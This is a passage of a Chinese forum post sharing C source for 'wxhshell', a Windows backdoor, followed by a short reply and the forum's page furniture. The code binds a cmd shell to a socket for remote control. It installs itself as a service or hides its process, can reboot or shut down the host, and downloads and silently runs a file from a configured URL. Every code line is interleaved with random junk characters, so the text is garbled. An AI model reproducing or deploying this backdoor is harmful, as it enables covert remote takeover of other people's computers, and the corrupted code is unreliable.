  else { 1W*%}!&Gm  
xXkP(^ Y  
    switch(cmd[0]) { Qk2^p^ T6  
  Z7>pz:,  
  // 帮助 X!#rw= Q  
  case '?': { ^oaFnzJdf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^'9:n\SKQ  
    break; =pSuyM'  
  } Z&BJ/qk \-  
  // 安装 H&Jp,<\x  
  case 'i': { i8t%v  
    if(Install()) eFJ .)Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $3.hZx>  
    else b'F#Y9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7:iTx;,v  
    break; /B eA-\B  
    } a ^wGc+  
  // 卸载 3Ov? kWFO  
  case 'r': { E$!0h_.(  
    if(Uninstall()) XL SYE   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b7;`A~{9v  
    else y*ux7KO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;QZ}$8D6Q  
    break; -36pkC 6 \  
    } bp"@vlv  
  // 显示 wxhshell 所在路径 (|Zah1k&]  
  case 'p': { }C6RgE.6<  
    char svExeFile[MAX_PATH]; Js{X33^Ju  
    strcpy(svExeFile,"\n\r"); vxN,oa{hf  
      strcat(svExeFile,ExeFile); vSyR% j  
        send(wsh,svExeFile,strlen(svExeFile),0);  NW$_w  
    break; "}/$xOl"  
    }   %4  
  // 重启 C|or2  
  case 'b': { B}O M:0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _d<xxF^q  
    if(Boot(REBOOT)) |/!3N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J*I G]2'H  
    else { PRTn~!Z0  
    closesocket(wsh); ?7?hDw_Nk  
    ExitThread(0); St`3Z/|h  
    } Xu[(hT6  
    break; VDnN2)Km*  
    } TAd~#jB9  
  // 关机 [9c|!w^F  
  case 'd': { G&7!3u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); on0MhW  
    if(Boot(SHUTDOWN)) J/T$.*X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n\/ JNzd3  
    else { L'A>IBrz  
    closesocket(wsh); j*7#1<T  
    ExitThread(0); #gQaNc?  
    } 2*[Gm e  
    break; JI5%fU%O#n  
    } OQ=0>;>  
  // 获取shell EklcnM|6  
  case 's': { 7k<6oM1  
    CmdShell(wsh); JA <Hm.V#  
    closesocket(wsh); ZYMacTeJjg  
    ExitThread(0); W08rGY  
    break; iCZuE:I1K,  
  } tjId?}\  
  // 退出 ORdS|y;:  
  case 'x': { O3*}L2 j@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @,\J\ rb  
    CloseIt(wsh); P #PRzt  
    break; WL#E%6p[  
    } kWZ@v+Mk3  
  // 离开 +m>)q4e  
  case 'q': { V1]QuQ{&s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jl)7Jd  
    closesocket(wsh); pRez${f.(s  
    WSACleanup();  WBd$#V3  
    exit(1); ey/=\@[p  
    break; N"zg)MsX  
        } K'@lXA:  
  } HB0DG<c-  
  } .Xcf *$.;s  
4))5l9kc.  
  // 提示信息 W|I<hY\X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tso\bxiU  
} &`LR{7m  
  } ,bRYqU?#0  
ObzFh?W  
  return; PJn|  
} yBYZ?gc  
Co^^rd@  
// shell模块句柄 t wr-+rm2  
int CmdShell(SOCKET sock) n5z";:p  
{ &VdKL2  
STARTUPINFO si; h~r&7G@[}  
ZeroMemory(&si,sizeof(si)); tm|YUat$]r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tW[dJKw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 87p tab@  
PROCESS_INFORMATION ProcessInfo; gnWEsA\!  
char cmdline[]="cmd"; \<kQ::o1y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {;^GKb+  
  return 0; HU47 S  
} s*9lYk0  
RemjiCE0'  
// 自身启动模式 M'sq{K9  
int StartFromService(void) M=t;t0  
{ j9g0k<eg  
typedef struct "x4}FQ  
{ 9?Q0O\&uP  
  DWORD ExitStatus; Zk<Y+!  
  DWORD PebBaseAddress; v"8i2+j  
  DWORD AffinityMask; =EQaZ8k  
  DWORD BasePriority; +8Q5[lh2]j  
  ULONG UniqueProcessId; =DsFR9IB  
  ULONG InheritedFromUniqueProcessId; 16|miK[@  
}   PROCESS_BASIC_INFORMATION; +&*Ybbhb  
<o"2z~gv  
PROCNTQSIP NtQueryInformationProcess; )tp;2rJ/  
v:zKn[;o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %Y-KjSs+l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #QM9!k@9k  
nPg,(8Tt  
  HANDLE             hProcess; V[^ +lR  
  PROCESS_BASIC_INFORMATION pbi; )F3>  
/?B%,$~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .gs:.X)TG9  
  if(NULL == hInst ) return 0; "YoFUfaNg  
byN4?3 F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HbMD5(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fIii  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); txFcV  
SS7C|*-Zd  
  if (!NtQueryInformationProcess) return 0; j*L-sU  
!~!\=etm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CJf4b:SY@  
  if(!hProcess) return 0; KF}_|~~T  
,nGZ( EBD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  XM<  
VdE$ig@  
  CloseHandle(hProcess); TLT6z[  
UdK+,k~m/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?(E?oJ)(  
if(hProcess==NULL) return 0; PmlQW!gfBi  
qLk7C0  
HMODULE hMod; 6(-c$d`C.0  
char procName[255]; K?gO ]T{6  
unsigned long cbNeeded; x>[f+Tc  
2^ kK2D$o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O_^ uLp  
:,pdR>q%(y  
  CloseHandle(hProcess); Ie'iAY  
IIUTo  
if(strstr(procName,"services")) return 1; // 以服务启动 drd5o Z  
t&nK5p95(  
  return 0; // 注册表启动 &O|qx~(  
} #bCzWg  
(/gMtIw  
// 主模块 nAk;a|Q  
int StartWxhshell(LPSTR lpCmdLine) 3Nk )  
{ Mq4>Mu  
  SOCKET wsl; '$Fu3%ft  
BOOL val=TRUE; xG|n7w*  
  int port=0; 41^ $  
  struct sockaddr_in door; s p&g  
g{^(EZ,  
  if(wscfg.ws_autoins) Install(); X,ok3c4X  
>IEc4  
port=atoi(lpCmdLine); @h)X3X  
#r;uM+  
if(port<=0) port=wscfg.ws_port; V2BsvR`  
{^6<Ohe4j  
  WSADATA data; 0w ;#4X:m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ahrtl6@AS  
&d&nsQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #b+>O+vx8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vo(V<2lw}  
  door.sin_family = AF_INET; G:Cgq\+R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <:I]0|[  
  door.sin_port = htons(port); GdtR  /1  
am# (ms  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5gbD|^ij  
closesocket(wsl); n_1,-(t  
return 1; y];@ M<<?e  
} xT;j_'9U;  
y>|AX/n  
  if(listen(wsl,2) == INVALID_SOCKET) { A^@,Ha  
closesocket(wsl); ;ksxz  
return 1; _Rey~]iJJ8  
} of>}fJ_p  
  Wxhshell(wsl); <PTi>C8;r  
  WSACleanup(); brClYpp,h  
F>co#  
return 0; g0"KC X  
YV"LM6`  
} Uiu9o]n  
egy#8U)Z  
// 以NT服务方式启动 FN295:Iuw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Qdp#K]WX  
{ 6HxZS+], c  
DWORD   status = 0; kG|pM54:^  
  DWORD   specificError = 0xfffffff; :j( D&?ao  
fqS cf}s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?,Zc{   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B)L;ja  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~[9(}UM  
  serviceStatus.dwWin32ExitCode     = 0; a@U0s+V&a0  
  serviceStatus.dwServiceSpecificExitCode = 0; TM1J1GU  
  serviceStatus.dwCheckPoint       = 0; /dt'iai~l  
  serviceStatus.dwWaitHint       = 0; o;M-M(EZQ6  
h2#S ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i=8){G X4  
  if (hServiceStatusHandle==0) return; +yYSp8>  
{_5PN^J  
status = GetLastError(); ?L~Z]+-  
  if (status!=NO_ERROR) }%I)bU  
{ I\peO/w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; um$K^  
    serviceStatus.dwCheckPoint       = 0; 6 &)fZt  
    serviceStatus.dwWaitHint       = 0; [Q*aJLG  
    serviceStatus.dwWin32ExitCode     = status; 2gbMUdpp  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6 w:@i_2^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C/je5  
    return; B)`^/^7  
  } 8GD!]t#  
4yu ^cix(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ViG4tb  
  serviceStatus.dwCheckPoint       = 0; W9ewj:4\0  
  serviceStatus.dwWaitHint       = 0; Sk 10"DB/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W!G2$e6  
}  zOnQ656  
wc5OK0|  
// 处理NT服务事件,比如:启动、停止 k(v8zDq*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "x$RTuWA9  
{ C4ut!I #  
switch(fdwControl) 'of5v6:8  
{ Aa;s.:?  
case SERVICE_CONTROL_STOP: g)Byd\DS  
  serviceStatus.dwWin32ExitCode = 0; jW-j+ WGSM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Pb 5PIk4  
  serviceStatus.dwCheckPoint   = 0; n|oAfJUk,  
  serviceStatus.dwWaitHint     = 0; tT;=l[7%  
  { cn4C K. ?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SEc3`y;j%  
  } 2eBA&t  
  return; O} !L;?  
case SERVICE_CONTROL_PAUSE: hL,+wJ+A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sgn,]3AUq  
  break; <E|K<}W#  
case SERVICE_CONTROL_CONTINUE: 2\z"6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wxg`[c$:  
  break; aO]0|<2 j  
case SERVICE_CONTROL_INTERROGATE: e,}]K'!t  
  break; X]Emz"   
}; k]Y#-Q1p~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {da Nw>TH  
} o 2 5kFD  
Yp`6305f  
// 标准应用程序主函数 Lj$yGdK<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r'p;Nj.  
{ =$g8"[4   
b+NF: -fO  
// 获取操作系统版本 SrN;S kS  
OsIsNt=GetOsVer(); ZpHT2-baVe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,$habq=;  
Hm+-gI3*  
  // 从命令行安装 ZbYwuyHk(3  
  if(strpbrk(lpCmdLine,"iI")) Install(); qB_MDA  
Lrz>0_Q  
  // 下载执行文件 I'o9.B8%#  
if(wscfg.ws_downexe) { 'f<0&Ci8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OxqbHe  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,LXuU8sB  
} !GMb~  
<>f  
if(!OsIsNt) { M"K$81  
// 如果时win9x,隐藏进程并且设置为注册表启动 {W }.z  
HideProc(); A==P?,RG  
StartWxhshell(lpCmdLine); g?M\Z";  
} Xt /T0.I  
else A0M)*9 f  
  if(StartFromService()) ,:-S<]fS{_  
  // 以服务方式启动 BpCzmU  
  StartServiceCtrlDispatcher(DispatchTable); A $W,#`E  
else =4yME  
  // 普通方式启动 C$)#s{*  
  StartWxhshell(lpCmdLine); Iq_cs '  
FgRlxz  
return 0; GFx >xQk  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八